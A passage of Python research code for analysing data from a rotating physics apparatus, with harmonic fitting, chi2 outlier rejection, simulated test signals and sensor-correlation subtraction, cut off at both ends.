\\\"\\\"\\\"\\r\\n # We'll assume that theta is evenly spaced for the moment\\r\\n assert(theta.shape[0]==x.shape[0])\\r\\n theta0=theta[0]\\r\\n dtheta=theta[1]-theta[0]\\r\\n if any(abs(diff(diff(theta)))>0.1): # Is the _change_ in step-size changing? (Why do we care??)\\r\\n if any(abs(abs(diff(theta))-pi) >0.1): #Maybe we're going back and forth by 180, in which case we can still operate\\r\\n raise ValueError(\\\"Theta values are apparently not evenly spaced. stringHarmonics can't handle this (yet)\\\")\\r\\n if (2*pi-0.05)%abs(dtheta) < 0.1:\\r\\n raise ValueError(\\\"string harmonics only implemented for dtheta that fits evenly into 2*pi\\\")\\r\\n\\r\\n #drnL=\\r\\n for H in harmonics:#range(4)+1: #count():\\r\\n rem=(pi+0.1)%(H*abs(dtheta))\\r\\n if abs(rem)<0.2: # Check that the angles are suitable, i.e. they're all at near 0, pi\\r\\n\\r\\n div=(pi)/(H*dtheta) #How many steps to get to a pi change in the signal\\r\\n nptString= round(2*abs(div)+1) #Use this to calculate the number of string points to use\\r\\n\\r\\n #Throw away outliers, without considering correlations\\r\\n if x.ndim>1:\\r\\n pterr=nanstd(x, axis=-1)\\r\\n pts=nanmean(x, axis=-1)\\r\\n else:\\r\\n pts=x\\r\\n badMask=isnan(pts)\\r\\n while 1:\\r\\n inv_variance=1./pterr**2\\r\\n inv_variance_sum=nansum(inv_variance[~badMask])\\r\\n sampleMean=nansum(pts[~badMask]*inv_variance[~badMask])/inv_variance_sum\\r\\n zsq=(pts-sampleMean)**2*inv_variance/inv_variance_sum\\r\\n zsq[badMask]=nan\\r\\n biggestDev=nanmax(zsq)\\r\\n if biggestDev>20 and 0:\\r\\n I=nanargmax(zsq)\\r\\n badMask[I]=True\\r\\n if sum(badMask)>5:\\r\\n badMask[:]=True\\r\\n vprint(\\\"Unrecoverable seq (too many points deviate)\\\")\\r\\n break\\r\\n else:\\r\\n break\\r\\n x[badMask]=nan \\r\\n \\r\\n #result = [[ nan, nan ]], [[ nan, nan ]], [[[ nan, nan ],[ nan,nan ]]], [[ nan, nan ]]\\r\\n minNumPts=2*nptString+1\\r\\n if nptString==3:\\r\\n st, stErr = stringSimple3pt(x, err)\\r\\n seq1, seqErr1, seqChi21= MT.fancy_column_stats(st, stErr, cf=3, chi2Max=chi2Filter, Nmin=5)\\r\\n result = array([[theta0, nan]]), array([seq1]), array([seqErr1]), array([seqChi21])\\r\\n elif nptString==5:\\r\\n st, stErr= stringSimple5pt(x, err, rotDir=sign(dtheta))\\r\\n seq1, seqErr1, seqChi21= MT.fancy_column_stats(st[:,0], stErr[:,0], cf=5, chi2Max=chi2Filter, Nmin=5)\\r\\n seq2, seqErr2, seqChi22= MT.fancy_column_stats(st[:,1], stErr[:,1], cf=5, chi2Max=chi2Filter, Nmin=5)\\r\\n result = array([[theta0, theta0-dtheta], [theta0, nan+theta0+abs(dtheta)/2]]), array([seq1, seq2]), array([seqErr1, seqErr2]), array([seqChi21, seqChi22])\\r\\n vprint(\\\"th:{}, seq2:{}\\\".format(theta0%(2*pi), seq2))\\r\\n else:\\r\\n print(\\\"nptString is {0}\\\".format(nptString))\\r\\n\\r\\n\\r\\n # CHI2 ELIMINATION\\r\\n ## While the set of string points doesn't fit a chi2 model, we eliminate the largest deviating points\\r\\n\\r\\n if 0:\\r\\n while 1:\\r\\n inv_variance=1./stErr**2; # Variance from individual error bars\\r\\n inv_variance_sum=nansum(inv_variance)\\r\\n ampFinal=nansum(st*inv_variance)/inv_variance_sum\\r\\n\\r\\n N=sum(~isnan(st))\\r\\n cf=3.*((N-1)/N)**2# 'Correlation factor': Used to be 2.54. This stuff is (ftm) worked out emprically\\r\\n degOfF=N/cf \\r\\n devSq=(st-ampFinal)**2*inv_variance\\r\\n chi2=nansum(devSq)/degOfF; #: = var(st)/varfromerrorbars Needs checking too.\\r\\n if chi2>chi2Filter:\\r\\n I=nanargmax(devSq)#/nanvar(st)\\r\\n #I=nanargmax(dev)\\r\\n st[I]=nan\\r\\n stErr[I]=nan\\r\\n if sum(~isnan(st))<minNumPts: #if we have too few points left\\r\\n vprint(\\\"too many bad string points (by chi2 limit) \\\"),\\r\\n st[:]=nan\\r\\n stErr[:]=nan\\r\\n ampFinal=nan\\r\\n break;\\r\\n else:\\r\\n break\\r\\n\\r\\n #Decide if there were too many points thrown out:\\r\\n N=sum(~isnan(st))\\r\\n if N < minNumPts and 1: #If there's less than a few independent string points remaining, we'll give up\\r\\n #vprint(\\\"Unrecoverable sequence\\\")\\r\\n return [(theta0, nan)], [(nan, nan)], [[[nan,nan],[nan,nan]]], [(nan, nan)]\\r\\n #adjDegOfF=stats.chi2.ppf(.5, N -2.549); #Adjusted degrees of freedom for calculating chi2\\r\\n cf=3.*((N-1)/N)**2# Used to be 2.54. This stuff is (atm) worked out emprically\\r\\n degOfF=N/cf \\r\\n chi2=nansum(((st-ampFinal)**2)*inv_variance)/degOfF; #: = var(st)/varfromerrorbars Needs checking too.\\r\\n\\r\\n errFinal=sqrt(nansum((st-ampFinal)**2*inv_variance/inv_variance_sum)/degOfF*sqrt(2))#/sqrt(1-stats.chi2.cdf(chi2, degOfF));\\r\\n\\r\\n #Assemble the results\\r\\n result= array([[nan, nan]]), array([[nan, nan]]), array([[[nan, nan], [nan, nan]]]), array([[nan, nan]])\\r\\n\\r\\n #result[0][0]=[theta0,nan]\\r\\n #result[1][0]=[ampFinal,nan]\\r\\n #result[2][0]=[[[errFinal,nan],[nan,nan]]]\\r\\n #result[3][0]=[[chi2,nan]]\\r\\n\\r\\n\\r\\n #return [(theta0, nan)], [(ampFinal, nan)], [[[errFinal,nan],[nan,nan]]], [(chi2, nan)]\\r\\n\\r\\n\\r\\n\\r\\n\\r\\n else:\\r\\n print(\\\"abs(rem)!<0.2 for dtheta = {0}, H = {1}. Can't do string analysis on these\\\".format(dtheta, H))\\r\\n #This should probably raise an exception\\r\\n\\r\\n result[0][0]=[nan,nan]\\r\\n result[1][0]=[nan,nan]\\r\\n result[2][0]=[[[nan,nan],[nan,nan]]]\\r\\n result[3][0]=[[nan,nan]]\\r\\n break;\\r\\n return result\\r\\n \\r\\ndef renameFieldMaybe(recArray, oldName, newName):\\r\\n names=list(recArray.dtype.names)\\r\\n try:\\r\\n I=names.index(oldName)\\r\\n names[I]=newName\\r\\n recArray.dtype.names=names\\r\\n except ValueError:\\r\\n pass;\\r\\n return recArray\\r\\n\\r\\ndef addFakeData(rawAmp, apparatusAngles=None,trigs=None, rotationRate=None, amp=1., sigma=0., phi=0, amp2=0, phi2=0, zeroingTime=100, fracDev=0, sizeDev=0.1, fastAddF=None, bBlankOriginalData=False):\\r\\n \\\"\\\"\\\" Add fake signal/noise to an existing signal\\r\\n\\r\\n \\\"\\\"\\\"\\r\\n sd=rawAmp.t\\r\\n sig=rawAmp.sig.copy()\\r\\n if bBlankOriginalData:\\r\\n sig*=0\\r\\n\\r\\n if apparatusAngles is not None:\\r\\n theta= 2*pi*sd +phi+ apparatusAngles[:,:,newaxis] # Angle of the apparatus with respect to the cosmo \\r\\n # Now to cut the data into 'sequences'\\r\\n #seqStartTimes=arange(0,totTime, secs2sd(rSpec.delay + rSpec.interval*rSpec.numRotations + zeroingTime))+startTime\\r\\n\\r\\n\\r\\n #thPtsL=[theta[inds] for inds in indxL.flat]\\r\\n #apparatusAngles=getAnglesFromRSpec(rSpec, numReps=len(pretrigs))/180.*pi\\r\\n #theta=hstack(array(thPtsL) +apparatusAngles.ravel()[:len(thPtsL)])\\r\\n #flat_ind=indxL.ravel() #OR something else??\\r\\n\\r\\n elif rotationRate is not None:\\r\\n theta= 2*pi*sd + phi + 2*pi*rotationRate*sd2secs(sd)\\r\\n else:\\r\\n raise ValueError(\\\"Need to include either apparatusAngles or rotationRate\\\")\\r\\n\\r\\n fast_noiseF=lambda t: random.normal(size=t.size, scale=sigma) if sigma>0 else 0\\r\\n\\r\\n sig+= amp*sin(theta) + amp2*sin(2*theta+phi2) #add base signal\\r\\n\\r\\n #Random outlier additions:\\r\\n sig+= where(rand(*sig.shape)>fracDev, 0, sizeDev)\\r\\n #hstack([zeros(inds.shape) if rand()>fracDev else sizeDev*ones(inds.shape) for inds in indxL.flat ])\\r\\n\\r\\n #Uniform noise\\r\\n #sd=hstack(tPtsL)\\r\\n sig+= fast_noiseF(sd)\\r\\n \\r\\n #Repetitive noise\\r\\n if fastAddF is not None:\\r\\n addN=hstack([fastAddF(sd2secs(tPts-tPts[0])) for tPts in tPtsL ])\\r\\n sig+=addN\\r\\n #sig[ind]+=fastAddF(sd[ind]-sd[ind[0]])\\r\\n\\r\\n if bTest:\\r\\n figure('TestAddFakeData')\\r\\n ax=subplot(311)\\r\\n plot(sd, sig,',')\\r\\n subplot(312, sharex=ax)\\r\\n plot(trigs.flatten(), apparatusAngles.flatten(),'-o')\\r\\n subplot(313)\\r\\n plot(trigs.flatten(),'o')\\r\\n\\r\\n return RawData(sd, sig)#SPDataSet('test', preloadDict={'fastD':[sd, sig, ['sig']]}, rSpec=rSpec)\\r\\n\\r\\n #return SPDataSet(fastD=[sd, sig, ['sig']])\\r\\n\\r\\n\\r\\n return cutAmpAdded\\r\\n\\r\\ndef makeTestData(rSpec, amp=1., amp2=0.0, sigma=5., N=100000, sampleRate=10, phi=0, phi2=0, zeroingTime=100, fracDev=0, sizeDev=0.1, fastAddF=None, startTime=0):\\r\\n \\\"\\\"\\\" Make up some data that the experiment _might_ have measured\\r\\n\\r\\n Plan: 1. Make a pure signal, and add some noise. 2. Calculate the component that would be measured in each orientation. 3. Add white noise.. \\r\\n \\\"\\\"\\\"\\r\\n\\r\\n S1cosmos=amp*exp(1j*phi)\\r\\n S2cosmos=amp2*exp(1j*2*phi2)\\r\\n\\r\\n totTime=secs2sd(N/sampleRate) #Total time of the set in sidereal days\\r\\n #zeroingTime=100 #How long to wait between sequences\\r\\n #phi=pi/3 #Signal phase\\r\\n sd= linspace(0,totTime, N) + startTime\\r\\n theta= 2*pi*sd # Angle of the room with respect to the cosmos\\r\\n fast_noiseF=lambda t: random.normal(size=t.size, scale=sigma)\\r\\n\\r\\n \\r\\n # Now to cut the data into 'sequences'\\r\\n seqStartTimes=arange(0,totTime, secs2sd(rSpec.delay + rSpec.interval*rSpec.numRotations + zeroingTime))+startTime\\r\\n\\r\\n trigs=makeTriggers(sd, rSpec, seqStartTimes=seqStartTimes, bIncludeExtraRot=True);\\r\\n #theta=theta/180*pi\\r\\n\\r\\n pretrigs=trigs[:,0]-secs2sd(rSpec.delay)\\r\\n startTimes=hstack([pretrigs[:,newaxis],trigs[:,:-1]])\\r\\n endTimes=trigs\\r\\n\\r\\n\\r\\n #tPtsL,thPtsL,indxL= sliceReduceData(sd, theta, x0=startTimes.ravel(), endTimes=endTimes.ravel(), bJustGiveCuts=True)\\r\\n #Get the indices divided up according to the triggers\\r\\n indxL= sliceSorted(sd, t_0=startTimes.ravel(), t_end=endTimes.ravel()) #indices of the points between each rotation\\r\\n tPtsL=[sd[inds] for inds in indxL.flat]\\r\\n thPtsL=[theta[inds] for inds in indxL.flat]\\r\\n\\r\\n apparatusAngles=getAnglesFromRSpec(rSpec, numReps=len(seqStartTimes+1))/180.*pi\\r\\n theta=hstack(array(thPtsL) +apparatusAngles.ravel()[:len(thPtsL)]) #angle of apparatus with respect to the cosmos\\r\\n \\r\\n sig=real(S1cosmos*exp(-1j*theta) + S2cosmos*exp(-1j*2*theta))\\r\\n #sig= amp*sin(theta + phi) + amp2*sin(2*theta + phi2)#Base signal\\r\\n\\r\\n #Random outlier additions:\\r\\n sig+=hstack([zeros(inds.shape) if rand()>fracDev else sizeDev*ones(inds.shape) for inds in indxL.flat ])\\r\\n\\r\\n #Uniform noise\\r\\n sd=hstack(tPtsL)\\r\\n sig+= fast_noiseF(sd)\\r\\n \\r\\n #Repetitive noise\\r\\n if fastAddF is not None:\\r\\n addN=hstack([fastAddF(sd2secs(tPts-tPts[0])) for tPts in tPtsL ])\\r\\n sig+=addN\\r\\n #sig[ind]+=fastAddF(sd[ind]-sd[ind[0]])\\r\\n\\r\\n if bTest:\\r\\n figure('TestMakeTestData')\\r\\n ax=subplot(311)\\r\\n plot(sd, sig,',')\\r\\n subplot(312, sharex=ax)\\r\\n plot(trigs.flatten(), apparatusAngles.flatten(),'-o')\\r\\n subplot(313)\\r\\n plot(trigs.flatten(),'o')\\r\\n\\r\\n return sd, sig#SPDataSet('test', preloadDict={'fastD':[sd, sig, ['sig']]}, rSpec=rSpec)\\r\\n #return SPDataSet(fastD=[sd, sig, ['sig']])\\r\\n\\r\\ndef group_by_axis(thetaIn):\\r\\n theta=thetaIn[~isnan(thetaIn)]\\r\\n absC=cos(theta)**2\\r\\n absS=sin(theta)**2\\r\\n sQ=mean(absS)\\r\\n cQ=mean(absC)\\r\\n #if any(theta%(2*pi)\\r\\n if any( abs(theta%(pi) -pi/2) <0.05 ) and abs(0.5-sQ <0.05) and abs(0.5 -cQ) <0.05: # If we have a near-uniform sampling of angles...\\r\\n thetaRef=0;\\r\\n\\r\\n else: # Otherwise we'll try to pick a good angle (This is not perfect by any means)\\r\\n thetaRef=arctan2(sQ, cQ);\\r\\n print(\\\"Data doesn't seem to be purely NS->EW. Setting main angle as {0} deg\\\".format(thetaRef/pi*180))\\r\\n #pdb.set_trace()\\r\\n absC=abs(cos(thetaIn-thetaRef))\\r\\n absS=abs(sin(thetaIn-thetaRef))\\r\\n\\r\\n xI=where(absC>0.99)[0] # Points \\r\\n yI=where(absS>0.99)[0] # P\\r\\n if len(yI)<4:\\r\\n vprint(\\\"Not enough data points for orthogonal quadrature. Set yI =[]\\\")\\r\\n yI=[]\\r\\n if MT.nearby_angles(thetaRef, pi/2, 0.1):\\r\\n xI,yI=yI,xI\\r\\n thetaRef=0\\r\\n return thetaRef, xI, yI\\r\\n\\r\\n\\r\\n\\r\\ndef rotate_sequence_amps(seqAmp, rotateTo=0):\\r\\n \\\"\\\"\\\"\\r\\n >>> N=100\\r\\n >>> th=linspace(0,20,N)%(2*pi)\\r\\n >>> sa= CorrelationData(linspace(0,1,N), sin(2*th), ones(N))\\r\\n\\r\\n \\\"\\\"\\\"\\r\\n rotAmp=deepcopy(seqAmp)\\r\\n for h in range(rotAmp.sig.shape[1]):\\r\\n #newThetas, newSig, newErr=zip(*[th, s, er for th, s, er in zip(sig.theta[:,h], sig.sig[:,h], sig.err[:,h])])\\r\\n zipped=zip(seqAmp.theta[:,h], seqAmp.sig[:,h], seqAmp.err[:,h]) \\r\\n rotAmp.theta[:,h], rotAmp.sig[:,h], rotAmp.err[:,h]=zip(*[MT.rotate_quadrature_sample(th*(h+1), s, er,\\r\\n rotateTo=rotateTo, debug=True) if not all(isnan(s)) else (th, s, er) for (th, s, er) in zipped])\\r\\n rotAmp.theta[:,h]/=(h+1)\\r\\n return rotAmp\\r\\n\\r\\ndef process_sequences_multifit(sig, sigSensL, sigSensVaryPhaseIs=[], subtractHarmsL=[], minFreq=None, maxFreq=None, bPlot=False, harmonic=1):\\r\\n \\\"\\\"\\\" \\r\\n \\\"\\\"\\\"\\r\\n h=harmonic-1\\r\\n varyPhaseIndL=[]\\r\\n #sig=CorrelationData(*[c[:,h::h+1] for c in s]) for s in sig]\\r\\n #sigSensL=[CorrelationData(*[c[:,h:] for c in s]) for s in sigSensL]\\r\\n t=sig.t[:,h,0]\\r\\n #_, sig1h, cov1h=MT.rotate_quadrature_sample(sig.theta[:,0,0], sig.sig[:,0], sig.err[:,0])\\r\\n thetaRef, xI, yI=group_by_axis(sig.theta[:,0]) \\r\\n\\r\\n vprint(\\\"Main angle (for sidereal fit): {0}\\\".format(thetaRef))\\r\\n sigRot=rotate_sequence_amps(sig, rotateTo=0)\\r\\n \\r\\n sigSensL=[rotate_sequence_amps(sigSens, rotateTo=thetaRef) for sigSens in\\r\\n sigSensL]\\r\\n yL=[sigSens.sig[:,h] for sigSens in sigSensL]\\r\\n if sigSensVaryPhaseIs:\\r\\n varyPhaseIndL.extend(sigSensVaryPhaseIs)\\r\\n print(\\\"Allowing phase for sensors at {0} to vary\\\".format(sigSensVaryPhaseIs))\\r\\n\\r\\n gdQuads=[]\\r\\n for k,th, s in zip(arange(sigRot.theta.shape[2]), sigRot.theta[:,h,:].T, sigRot.sig[:,h,:].T):\\r\\n notNan=th[~isnan(s)]\\r\\n if notNan.size:\\r\\n gdQuads.append(k)\\r\\n if not all(MT.nearby_angles(notNan, notNan.min(), 0.1)):\\r\\n vprint(\\\"Not all angles the same: maybe they're orthogonal?\\\")\\r\\n\\r\\n #yL.append(vstack([sin(2*pi*t+sig.theta[:,0]), cos(2*pi*t + sig.theta[:,0])]).T)\\r\\n #Lab frame signal\\r\\n dc=ones(t.size, dtype='f8')\\r\\n yL.append(vstack([dc, dc*0]).T)\\r\\n varyPhaseIndL.append(len(yL)-1)\\r\\n # Sidereal\\r\\n refThetas=sigRot.theta.copy()\\r\\n if len(gdQuads)==1:\\r\\n if 0 in gdQuads:\\r\\n refThetas[:,h,1]=refThetas[:,h,0]+pi/2/harmonic\\r\\n else:\\r\\n refThetas[:,h,0]=refThetas[:,h,1]-pi/2/harmonic\\r\\n\\r\\n yL.append(1*cos(2*harmonic*pi*t[:,newaxis]+harmonic*refThetas[:,h]))\\r\\n varyPhaseIndL.append(len(yL)-1)\\r\\n\\r\\n #Add the 3rd harmonic ot the list(if it's there), and let it vary phase\\r\\n for harm in subtractHarmsL:\\r\\n if sigRot.sig.shape[1]>=harm:\\r\\n #_, sigH, covH=MT.rotate_quadrature_sample(sig.theta, sig.sig[:,h-1], sig.err[:,h-1])\\r\\n yL.append(sigRot.sig[:,harm-1])\\r\\n varyPhaseIndL.append(len(yL)-1)\\r\\n else:\\r\\n print(\\\"{}th harmonic doesn't exist, can't subtract it\\\")\\r\\n\\r\\n #nanIs=isnan(sigRot.sig[:,0])\\r\\n sig2fit=sig\\r\\n fitparams, cov, adjchi2, res_obj=MF.orthogonal_multifit(t, sigRot.sig[:,h], yL,varyPhaseIndL, var=sigRot.err[:,h], minFreq=minFreq, maxFreq=maxFreq, bPlot=bPlot, bReturnFitObj=True)\\r\\n Nsensors=len(sigSensL)\\r\\n\\r\\n sensCoeffs=array(fitparams[:Nsensors])\\r\\n labCoeffs=array(fitparams[Nsensors:Nsensors+2])#-thetaRef\\r\\n labCov=cov[Nsensors:Nsensors+2, Nsensors:Nsensors+2]\\r\\n sidCoeffs=array(fitparams[Nsensors+2:Nsensors+4])#-thetaRef\\r\\n sidCov=cov[Nsensors+2:Nsensors+4, Nsensors+2:Nsensors+4]\\r\\n sidAmp=SiderealFitData(t=nanmean(t), sig=sidCoeffs, err=sidCov, \\r\\n chi2=adjchi2, \\r\\n labTheta=array([0,pi/2]),#0*nanmean(-sigRot.theta[:,0], axis=0) ,\\r\\n sidTheta=None,\\r\\n meta=None)\\r\\n labAmp=LabSetData(t=nanmean(t), sig=labCoeffs, err=labCov, chi2=None, labTheta=array([0.,pi/2]))\\r\\n #print(\\\"subtract fit params: {0}\\\".format(res_obj.params))\\r\\n\\r\\n\\r\\n # Convert data types down here\\r\\n #sigSubtracted=sig._replace(sig=(sig.sig.ravel()-sensCoeffs*array(sigSensL)).reshape(sig.sig.shape))\\r\\n\\r\\n return labAmp, sidAmp, None, res_obj\\r\\n\\r\\ndef subtract_correlations(sig, sigSensL, dontSubtract=[], scaleFact=None, minFreq=0.00005, maxFreq=None, bPlot=False):\\r\\n \\\"\\\"\\\" \\r\\n \\\"\\\"\\\"\\r\\n # Interpolate sigSensor to be the same as sig (if necessary))\\r\\n\\r\\n sigSensL=[interp(sig.t.ravel(), sigSens.t.ravel(), sigSens.sig.ravel()) for sigSens in sigSensL]\\r\\n\\r\\n sigSig=MT.naninterp(sig.sig.ravel())\\r\\n sigSensL=[MT.naninterp(sigSens) for sigSens in sigSensL]\\r\\n\\r\\n if minFreq is not None or maxFreq is not None: #Filter\\r\\n fs=1/median(diff(MT.nonnan(sig.t.ravel())))/(3600*24)\\r\\n if minFreq is not None and maxFreq is not None:\\r\\n sigFilt=MF.butter_bandpass_filter(sigSig, [minFreq, maxFreq], fs)\\r\\n sigSensL=[MF.butter_bandpass_filter(sigSens, [minFreq, maxFreq], fs) for sigSens in sigSensL]\\r\\n elif maxFreq is not None:\\r\\n sigFilt=MF.butter_lowpass_filter(sigSig, maxFreq, fs)\\r\\n sigSensL=[MF.butter_lowpass_filter(sigSens, maxFreq, fs) for sigSens in sigSensL]\\r\\n elif minFreq is not None:\\r\\n sigFilt=MF.butter_highpass_filter(sigSig, minFreq, fs)\\r\\n sigSensL=[MF.butter_highpass_filter(sigSens, minFreq, fs) for sigSens in sigSensL]\\r\\n else:\\r\\n sigFilt=sigSig\\r\\n #sigSensL=sigSensL\\r\\n\\r\\n # if @scaleFact is None, try to do a least-squares fit (or maybe something else in the longer-term)\\r\\n if scaleFact is None:\\r\\n t=MT.naninterp(sig.t.ravel())\\r\\n if hasattr(sig,'theta'):\\r\\n theta=sig.theta\\r\\n elif hasattr(sig, 'labTheta'):\\r\\n theta=sig.labTheta\\r\\n else:\\r\\n theta=None\\r\\n if theta is not None:\\r\\n theta=MT.naninterp(theta)\\r\\n dontSubtractD={ #Make these lambda functions so we won't evaluate them unless necessary\\r\\n 'lab_sinusoid': lambda: array((sin(theta), cos(theta))),\\r\\n 'sid_sinusoid': lambda: array((sin(2*pi*t+theta), cos(2*pi*t+theta)))\\r\\n }\\r\\n exog=array(sigSensL).T\\r\\n for st in dontSubtract: #Elements should either be functions (of t) or strings \\r\\n arr=dontSubtractD[st]()\\r\\n exog=hstack([exog,arr.T])\\r\\n endog=sigFilt\\r\\n exog=sm.add_constant(exog,prepend=False)\\r\\n model=sm.WLS(endog, exog, missing='drop') #(?)\\r\\n res=model.fit()\\r\\n scaleFact=array(res.params[:len(sigSensL)])\\r\\n print(\\\"subtract fit params: {0}\\\".format(res.params))\\r\\n\\r\\n\\r\\n sigSubtracted=sig._replace(sig=(sig.sig.ravel()-scaleFact*array(sigSensL)).reshape(sig.sig.shape))\\r\\n\\r\\n if bPlot or 1:\\r\\n figure()\\r\\n plot(t, sigFilt, '.')\\r\\n plot(t, exog, '.')\\r\\n plot(t, (scaleFact*array(sigSensL)).T)\\r\\n return sigSubtracted\\r\\n\\r\\ndef preprocess_raw(rawAmp, trigTimes, sigWindow):\\r\\n #vprint(\\\"using {0}\\\".format(sigWindow))\\r\\n indxL= sliceSorted(rawAmp.t, t_0=trigTimes + secs2sd(sigWindow.offset), delta_t=secs2sd(sigWindow.duration)) #indices of the points between each rotation\\r\\n #Now we 'regularize' it, making sure there's the same number of points in each slice (needed to make things faster later)\\r\\n NptsL=[ind.size for ind in indxL.ravel() if ind.size>1] #2 pts may be the minimum we can work with?\\r\\n\\r\\n minPtsI=argmin(NptsL)\\r\\n maxPts=max(NptsL)\\r\\n k=0;\\r\\n while NptsL[minPtsI]< 0.9*maxPts:\\r\\n vprint(\\\"A cut was too short: {0} vs {1}\\\".format(NptsL[minPtsI], maxPts)) \\r\\n NptsL.pop(minPtsI)\\r\\n minPtsI=argmin(NptsL)\\r\\n k+=1;\\r\\n if k>=20:\\r\\n print(\\\"Too mny short cuts. There's probably a segment of bad data\\\")\\r\\n #raise ValueError(\\\"Too mny short cuts. There's probably a segment of bad data\\\")\\r\\n minPts=NptsL[minPtsI]\\r\\n \\r\\n\\r\\n indxLReg=array([ind[:minPts] if ind.size>=minPts else -1*ones(minPts,dtype='i8') for ind in indxL.ravel()])\\r\\n \\r\\n indxLReg=indxLReg.reshape(indxL.shape[0], indxL.shape[1], minPts)\\r\\n\\r\\n rawAmpOut=RawData(t= rawAmp.t[indxLReg], sig=rawAmp.sig[indxLReg])\\r\\n rawAmpOut.sig[indxLReg==-1]=nan\\r\\n rawAmpOut.t[indxLReg==-1]=nan\\r\\n return rawAmpOut\\r\\n \\r\\ndef process_raw(rawAmp):\\r\\n def window_mean(arr, axis=0):\\r\\n win=windows.kaiser(arr.shape[axis], 10)\\r\\n win/=win.sum()\\r\\n #This isn't right\\r\\n return sum(arr*win[newaxis,newaxis,:],axis=axis)\\r\\n \\r\\n funcs_on_cutsL=[np.mean, lambda vals, **kwargs: np.std(vals, **kwargs)/sqrt(np.size(vals))]\\r\\n T=rawAmp.t.mean(axis=-1)\\r\\n Y=window_mean(rawAmp.sig, axis=-1) \\r\\n Err=np.std(rawAmp.sig,axis=-1)\\r\\n #Y, Err= processedL[0:]\\r\\n\\r\\n #rawSig=array([y[ind[:minPts]] if ind.size>=minPts else zeros(minPts)*nan for ind in indxL.ravel()])\\r\\n #rawSig=rawSig.reshape(indxL.shape[0], indxL.shape[1], minPts)\\r\\n #rawSigF=fft(rawSig)\\r\\n return PointData(t=T, sig=Y, err=Err,chi2=None,theta=None)\\r\\n\\r\\ndef process_points(ptLabAngle, pointAmp, cutAmp, stPtChi2Lim=50):\\r\\n \\\"\\\"\\\" Turn groups of points into sequences- except currently we go directly from a a group of 'cuts' (i.e. the cut-out raw data) to one value for each sequences.\\r\\n \\\"\\\"\\\"\\r\\n vprint(\\\"chi2 limit on string points: {}\\\".format(stPtChi2Lim))\\r\\n pointAmp=None\\r\\n ptT=mean(cutAmp.t, axis=-1)\\r\\n ptErr=std(cutAmp.sig, axis=-1)\\r\\n if ptLabAngle.shape[0] > cutAmp.sig.shape[0]:\\r\\n if ptLabAngle.shape[0]==cutAmp.sig.shape[0]+1:\\r\\n ptLabAngle=ptLabAngle[:-1]\\r\\n else:\\r\\n raise ValueError(\\\"angles shouldn't be more than 1 sequence bigger than the dataset (can happen if only part of a sequence is included). But here, ptLabAngle.shape[0] is {0} and cutAmp.shape[0] is {1}\\\".format(ptLabAngle.shape[0], cutAmp.sig.shape[0]))\\r\\n \\r\\n # Process each group of sequences\\r\\n outL=zip(*[mgStringHarmonics(th, seq, None, chi2Filter=inf) for th,seq, err in zip(ptLabAngle, cutAmp.sig, ptErr)])\\r\\n if stPtChi2Lim is not inf:\\r\\n #origSigA=array(outL[1])\\r\\n chi2temp=nanmean(array(outL[3]), axis =-1).squeeze()\\r\\n smoothedChi2=MT.running_nanmedian(chi2temp, 100)\\r\\n outL=zip(*[mgStringHarmonics(th, seq, None, chi2Filter=stPtChi2Lim*smChi2) for th,seq, err, smChi2 in zip(ptLabAngle, cutAmp.sig, ptErr, smoothedChi2)])\\r\\n labAngle, seqSig, seqErr, seqChi2 = [array(p) for p in outL] #Array-ify the results\\r\\n\\r\\n #Old stuff for doing harmonicsFit\\r\\n #th0s,h1,cov1=zip(*[getHarmonicsFit(th, seq, err) for th,seq, err in zip(theta[:-1], ptSig, ptErr )])\\r\\n #h1=array(h1)\\r\\n #cov1=array(cov1)\\r\\n #covAs=cov1[:,0].squeeze()\\r\\n #th0s=array(th0s)\\r\\n #chi2=None \\r\\n\\r\\n seqT=nanmean(ptT, axis=1)\\r\\n seqT=seqT[:,newaxis, newaxis]*ones(seqSig.shape) #make T's the same shape as the rest\\r\\n return CorrelationData(t=seqT, sig=seqSig, err=seqErr, chi2=seqChi2, theta=labAngle)\\r\\n\\r\\ndef filterBySensors(cutAmp, sensDataL=[], bView=True):\\r\\n #bView=True\\r\\n if not sensDataL:\\r\\n vprint(\\\"No sensor filtering\\\")\\r\\n return cutAmp\\r\\n\\r\\n Npts=cutAmp.sig.size/(cutAmp.sig.shape[-1])\\r\\n badM=zeros(Npts, dtype=bool) #Mask for 'bad' data\\r\\n if bView:\\r\\n fig, axL=subplots(len(sensDataL)+1, 1, sharex=True)\\r\\n #vprint(\\\"Filtering out bad points using sensors {0}\\\".format(sensorNameL))\\r\\n for k, sD in enumerate(sensDataL):\\r\\n #sDTs, [_, sDCutSig, sDCutErr], sDCutIndxL = sliceReduceData( sD[0], sD[1], trigTimes + secs2sd(sigWindow.offset), secs2sd(sigWindow.duration) ) \\r\\n badSDM, xSM=MT.findOutliers(sD.sig.ravel(), windowLen=70, sigmas=3, bReturnMeanLine=True)\\r\\n badM= badM | badSDM\\r\\n\\r\\n if bView:\\r\\n axL[k+1].plot(sD.t.ravel(), sD.sig.ravel(),'.')\\r\\n axL[k+1].plot(sD.t.ravel()[badSDM], sD.sig.ravel()[badSDM],'o')\\r\\n #axL[k+1].plot(sDTs.ravel()[badSDM], sDCutSig.ravel()[badSDM],'o')\\r\\n if bView:\\r\\n sigA=cutAmp.sig.mean(axis=-1)\\r\\n axL[0].plot(sD.t.ravel(), sigA.ravel(),'.')\\r\\n axL[0].plot(sD.t.ravel()[badM], sigA.ravel()[badM],'.') \\r\\n\\r\\n\\r\\n \\r\\n filtCutAmp=cutAmp._replace(sig=cutAmp.sig.copy())\\r\\n filtCutAmp.sig.reshape(-1,filtCutAmp.sig.shape[-1])[badM]=nan\\r\\n return filtCutAmp\\r\\n#def process_sequences(sT, sSig, sErr, sLabAngles):\\r\\ndef process_sequences(corrAmp):\\r\\n '''Process sequence values, sSig, into final numbers\\r\\n '''\\r\\n sT,sSig, sErr, sChi2, sLabAngles=[s[:,0,:] for s in corrAmp]\\r\\n if sSig.size==0:\\r\\n return None\\r\\n #sErr*sqrt(sChi2)\\r\\n #winI=20\\r\\n #chi2=nanmedian(corrAmp.chi2[I]*(corrAmp.Neff[I]./stats.chi2.ppf(0.5, corrAmp.Neff)), axis=0) \\r\\n #chisq1=nanmedian(v1(w,3,:).*(v1(w,4,:)./chi2inv(.5,v1(w,4,:))),1);\\r\\n #v1(j,2,:)=v1(j,2,:).*sqrt(chisq1);\\r\\n \\r\\n if not iterable(sLabAngles) or len(sLabAngles)==1 or unwrap(sLabAngles%pi).sum()<pi:#(maaaaaybeee)\\r\\n vprint(\\\"no lab angles given for sequence data in 'process_sequences'. Doing something dodgy that probably isn't right to make up for 